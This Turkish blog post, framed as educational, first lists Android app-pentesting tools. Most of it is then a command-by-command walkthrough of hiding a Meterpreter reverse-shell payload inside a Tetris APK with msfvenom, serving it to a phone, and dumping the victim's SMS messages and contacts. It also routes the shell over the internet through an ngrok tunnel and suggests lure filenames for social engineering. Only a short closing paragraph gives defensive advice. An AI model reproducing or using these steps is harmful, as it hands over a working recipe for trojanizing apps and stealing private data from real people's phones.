Android Cihazlar Üzerinden LAN ve WAN Ağları İçin Güvenlik Testleri ve Sosyal Mühendislik — Güvenlik İpuçları

Osman Kandemir
7 min readJun 23, 2021

ÖNEMLİ NOT: Bu blog yazısı, tamamen eğitim amacıyla yazılmıştır ve bilgi güvenliği farkındalığı oluşturmayı amaçlamaktadır. Önceliğimiz, GÜVENLİK ÖNERİLERİ bölümünün okunması ve herhangi bir yasa dışı faaliyet yerine yetkilendirilmiş yasal yöntemlerin kullanılması gerektiğinin vurgulanmasıdır. Bu bağlamda beyaz kutu testi ve gri kutu testi gibi yöntemlerin güvenlik değerlendirmelerinde kullanılmalıdır.

Günümüzde sıklıkla kullanılan, güvenlik ve gizliliğinin öneminin her gün daha da arttığı Android OS tabanlı akıllı cihazların statik ve dinamik penetrasyon test başlıkları, MOBSF uygulaması ile gözden geçirilmesi ve kötü niyetli siber saldırganların mobil cihazları nasıl ele geçirdiğinden ve yapılan saldırı simülasyonundan bahsedilmiştir.

Android APK Uygulamalarının Statik ve Dinamik Penetrasyon Testleri İçin Kullanılan Araçlar ve Adımlar

Genymotion, MobSF, Drozer, BurpSuite, ADB, Frida, JADX, Apktool Araçları ve SSL Pinning için adımlar aşağıda yazılmıştır.

  • GenyMotion Kurulumu
  • MobSF ile Dinamik Ve Statik Analiz (iOS için .ipa uzantılı uygulamalar dahil)
  • ADB(Android Debug Bridge) ile Android Cihazlara Erişim.
  • Drozer İle Güvensiz Kompanent Tespiti ve Diğer Yöntemler.
  • Frida İle SSL Pinning ve Diğer Yöntemler.
  • Burp Suite Proxy Yazılım Aracılığıyla APK Uygulamalarının HTTP, HTTPS Trafiğini Dinlenmesi ve Yorumlanması.
  • JADX (Dex to Java decompiler) Kaynak Kod Analizi.
  • Apktool İle Android Uygulamalarının Recompile ve Decompile İşlemleri.

MOBSF İle Statik ve Dinamik Analiz Sonuçlarının İnceleme Adımları.

  • Aktif ve pasif bilgilerin keşfedilmesi. Geliştiricinin yerel makinede geliştirme yaparken bıraktığı 192.168.xxx.200 yerel IP adresi, bir pasif bilgidir.
  • Uygulama işleyişinde verilmiş olan izinlerin dışında istenmesinin gerek olmadığı izinlerin tahmin edilmesi. [APPLICATION PERMISSIONS]

Senaryo : Örnek vermek gerekirse bir yemek kartı firmasına ait APK’nın istediği izinler MOBSF ile incelenebilir. Uygulamada olması gereken muhtemel izinler titreşim, internet ve konum alma olarak belirlenebilir. Rehberdeki numaralara erişim izin isteği kafalarda soru işareti ve üzerinde düşünülmesi gerekilen bir konu olarak değerlendirilebilir.

  • Derleyiciler ve Paketleyiciler listesidir.[APKID ANALYSIS]
  • MobSF’in tespit ettiği zayıflıkları ve sonrasında nasıl önlem alınabileceği hakkındaki bilgiler edinilebilir. [MANIFEST ANALYSIS]
  • Uygulamalardaki IP adreslerinin Blacklist ve Reputation kayıtları çıkartılıp tehdit istihbaratı yapılabilir. [DOMAIN MALWARE CHECK](https://mxtoolbox.com/blacklists.aspx)
  • Sosyal mühendislik ile beraber yapılması ihtimal olan zararlı aksiyonların önüne geçmek için toplanan e-mail adresleri belirlenebilir. [MAILS]

Android OS Tabanlı Akıllı Cihazlar için Siber Saldırganların Kullandığı Yöntem

Sistem : Ubuntu 20.04 LTS (Önerilen KALİ LINUX 2020.4>)

Kullanılan Araçlar :

Metasploit: Ruby programlama dili ile yazılmış hem defansif hemde ofansif sızma testlerinde kullanılan açık kaynaklı framework projesidir.

Kurulum :

  • sudo apt-get install -y build-essential zlib1g zlib1g-dev libpq-dev libpcap-dev libsqlite3-dev ruby ruby-dev
  • mkdir ~/apps
  • cd ~/apps
  • git clone https://github.com/rapid7/metasploit-framework.git
  • cd metasploit-framework/
  • sudo gem install bundler
  • bundle install

Msfvenom:Metasploit Framework’ü altında bir Payload veya zararlı kod üretme aracıdır. Hedef sistemden reverse bağlantı alınmasına olanak sağlayan bir araçtır.

Apktool : Zararlı içeriği yerleştirmek için halihazırdaki APK dosyasının decompile ve recompile edilmesine yarayan araçtır.

Güvnelik testi için son versiyon önerilmektedir. Msfvenom ile APK recompile işlemlerinde hatalara karşın.Örneğin: ”Error: Unable to rebuild apk with apktool”.

Ngrok : Android Hacking Over WAN (Wide Area Network) Networks konusu altında, NAT (Network Address Translation) arkasında çalışan saldırganın yerel bilgisayarı ile hedef sistem arasında uzaktan erişim yapmak için kullanılan port tünelleme veya reverse proxy tünelleme aracıdır. Aynı işlemi yapacak başka tünelleme araçlarıda kullanılabilir.

Zipalign:APK dosyalarının optimize işlemleri için kullanılan araçtır.

Kurulum:
1 - sudo apt-get install -y zipalign

Aşağıdaki toollar ise sadece halihazırdaki APK dosyasının değil, saldırganın kendi zararlı APK içeriğini hazırlaması için kullanılır. Sadece ne işe yaradıklarının bilgisi verilmiştir. Bu senaryoda kullanılmamıştır.

Jarsigner:Oluşturulacak zararlı APK dosyası için bir sertifika imzalama işlemi yapılması gerekiyor. Android cihazlar yalnızca imzalı .apk dosyalarının yüklenmesine olanak sağlar. Uygun bir biçimde imzalanmış sertifika olmadan uygulama yüklenmesine izin vermez.

Keytool:Bir anahtar ve sertifika yönetim aracıdır. Dijital imza oluşturmak ve Jarsigner ile imzalama işlemi yapmak için kullanılan araçtır.

Android Hacking Over LAN Networks:

Bu konu, sızma testi eğitimlerinde kullanılan, LAN ağda bulunan bir hedef Android OS sistemini nasıl ele geçirilebileceği konusu hakkında bilgi vermektedir.

Şekil 1

Şekil 1'de Msfvenom kullanarak bir tetris oyunu APK dosyasını, payload APK dosyasına çevirerek zararlı içerik yerleştirilir.

Terminal : msfvenom -x tetris.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.222 LPORT=4444 -o tetris_shell.apk

-x : Decompile edilip, içine zararlı kod yerleştirilecek olan APK dosyası(tetris.apk)
-p : Kullanılacak Payload
LHOST : Reverse shell için backconnect alınılacak yerel makine IP adresi
LPORT : Backconnect için port numarası
-o : Payload çıktısının ismi ve uzantısı

Şekil 2

Şekil 2'de gözüktüğü gibi Desktop dizininde 357740 Byte’lık bir reverse shell APK dosyası oluşturuldu.

Şekil 3

Şekil 3'de Zipalign uygulaması yardımıyla oluşturulan APK dosyası optimize edildi.

Terminal: zipalign -v 4 tetris_shell.apk tetrisGame.apk

-v : (Verbose) Ayrıntılı Çıktı.
tetris_shell.apk : Msfvenom’da oluşturulan zararlı içerik.
tetrisGame.apk : Hedefe gönderilecek olan, optimize edilmiş APK dosyası.

Şekil 4

Şekil 4'de Msfvenom’da oluşturulan ve zipalign ile optimize edilen tetrisGame.apk reverse shell’i için, metasploit’te bir handler çalıştırılarak, dinleme moduna geçilir.

Terminal:

msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.222
set LPORT 4444

msfconsole: Metasploit uygulamasını başlatır.
use exploit/multi/handler : Dinleme yapmamız için kullanacağımız handler modulü.
set PAYLOAD : Dinleme için kullanılacak payload seçimi.
LHOST : Reverse shell için backconnect alınacak yerel makine IP adresi.
LPORT : Backconnect için port numarası.

Şekil 5

Şekil 5'de Apache2 Web sunucusu yardımıyla, android akıllı cihaza zararlı uygulama indirilip kurulur. Hedefe zararlı uygulamanın nasıl gönderileceği sosyal mühendislik konusudur. Tamamen siber saldırganın hayal gücüne bağlıdır.

Şekil 6

Şekil 6'da dinlemeye alınan metasploit handler modulü, tetris oyunu çalıştırılıp çalıştırılmaz meterpreter’e düşerek backconnect’in alınması sağlanmıştır.

Şekil 7

Şekil 7’de Meterpreter’de help komutu yardımıyla Android OS üzerinden neler yapılabileceği sıralanabilir.

Şekil 8

Örnek olarak sadece SMS gönderen, alıcı listesi ve kişi rehber listesini dump edilmiştir.(Şekil 8)128 SMS mesajını ve kişi rehberinde bulunan 40 kişinin bilgisi de dump edilmiş oldu.

Terminal : dump_sms
Terminal : dump_contacts

Şekil 9

Örnek dump dosyaları.(Şekil 9)

Android Hacking Over WAN Networks:

Siber saldırganların, Wide Area Network’lerde kullandığı araçlar Ngrok gibi FREE port tünelleme araçlarıdır. Bu tür araçlar oluşturulan zararlı Payload APK’lara NAT mantığı ile uzaktan erişilmesine sağlamaktadır. Sıklıkla kullanılan yöntemlerden biridir.

Şekil 10

Ngrok uygulaması indirildikten sonra üyelik dashboard’tan edinilen authtoken bilgisiyle ngrok uygulaması yapılandırılır. (Şekil 10)

Terminal : ./ngrok authtoken TOKEN

Şekil 11

TCP protokolüyle 4242 portu, localhost’tan geçerli ngrok’un saldırgana sağladığı sunucuya tünellenip açık bir şekilde bırakılır.(Şekil 11)

Terminal : ./ngrok tcp 4242

ÖNEMLİ : Deneme yaparken ve zararlı yazılım oluşturulduktan sonra hedefin bütün trafiği bu tünelleme aracından(ngrok) geçeceğinden Bilgi Güvenliği kapsamında zararlı APK dosyanızı bir Emulator kullanarak sanal bir Android işletim sistemi üzerinden deneyip çalıştırmanızı tavsiye ederim. Burada yapılan simülasyon gerçekçilik açısında önemsiz verilerle dolu, boş bir akıllı cihaz ile denenmiştir.

Şekil 1 2

Msfvenom ile tetris oyununun olduğu APK dosyası, Ngrok tünelleme bilgileri girilerek zararlı uygulama haline getirilir. tetris_shell.apk olarak 357736 byte zararlı APK dosyası oluşturulmuştur. (Şekil 12)

Terminal : msfvenom -x tetris.apk -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=15484 -o tetris_shell.apk

Önemli olan kısım LHOST ve LPORT parametrelerine, Şekil 11'da tünelleme yapılacak ngrok uzak makine bilgilerinin girilmesidir. Açık olan ngrok uygulaması arkada saldırgan için yerel makineye bir tünel açmış durumda beklemektedir.

Şekil 13

Oluşturulan zararlı APK dosyası zipalign ile optimize edilir.(Şekil 13)

Şekil 14

Msfvenom’dan sonra optimize edilen tetrisGame.apk için metasploit’te msfconsole komutuyla handler modulünü çalıştırılır ve dinleme moduna geçilir.

Önemli olan kısım LHOST ve LPORT parametrelerine saldırganın localhost adresi ve ngrok’ta tünelleme için belirtilen port (Şekil 11) yazılmalıdır.(4242 portu). Aksi durumda yanlış hiyerarşiden dolayı simülasyon gerçekleşmeyecektir.

Şekil 14

Şekil 14'de gözüktüğü gibi zararlı tetris uygulamasını, hedef çalıştırdıktan sonra WAN ağda tünelleme işlemi başarılı bir şekilde gerçekleştirilmiştir.

Saldırgan Meterpreter’e düşmüş bulunmaktadır. WAN ağlardaki kanıtını, akıllı cihazın mobil verisini kullanarak yada başka bir router ile internete farklı bir IP’den çıkması sağlanarak gerçekleştirilebilir. Bu senaryoda da böyle yapılmıştır. Sonrası malum.

Android Hacking with Social Engineering

Bu kısım, simülasyonda en zor olan ve hayal gücü isteyen bir kısımdır. Zararlı uygulama oluşturulduktan sonra hedefe gönderilmesi ve çalıştırılmasının sağlanması gibi ‘nasıl’ olacak gibi sorular sorulabilir.

Saldırganlar, genellikle yapmış oldukları 3.parti Android uygulamalarının derlenmesi yani compile işlemlerinden sonra uygulama isimlerini instagram_takipci_kasma.apk, pubg_aim_hack.apk, bedava_mac_izle.apk, instagram_profile_kim_baktı.apk vb. gibi ilgi çekici, yasal olmayan aktivitelerle beraber günümüzde güncel kullanılan uygulamalara yönelik recompile uygulamalar geliştirmeleri ile gerçekleştiriyor.

Önerilen ÖNLEM :

Üçüncü Parti APK uygulamaları kullanılmamalıdır. Telefon distribütörünün varsa bir güvenlik uygulaması kullanılmalı ve bir diğer önlem olarak Android’in en güncel sürümleriyle akıllı cihazlar güncellenmelidir. Bu simülasyon testim, yaptığım araştırmalarıma göre Android 9 ve Android 10 sürümlerinde başarıyla sonuçlanıyor. Android 11'de gerçekleşmiyor olması ile sonlanmış bulunmaktadır. Son olarak %100 güvenlik diye bir şeyin olmadığını belirtmek isterim.

KAYNAKLAR :

  1. https://www.metasploit.com/
  2. https://www.offensive-security.com/metasploit-unleashed/msfvenom/
  3. https://ngrok.com/
  4. https://tools.kali.org/reverse-engineering/apktool
  5. https://medium.com/@sandeepcirusanagunla/decompile-and-recompile-an-android-apk-using-apktool-3d84c2055a82
  6. https://resources.infosecinstitute.com/topic/lab-hacking-an-android-device-with-msfvenom/
  7. https://allabouttesting.org/top-15-android-mobile-app-penetration-testing-tools/

--

--

Osman Kandemir

#CyberSecurity #InformationSecurity #Python — Computer Engineer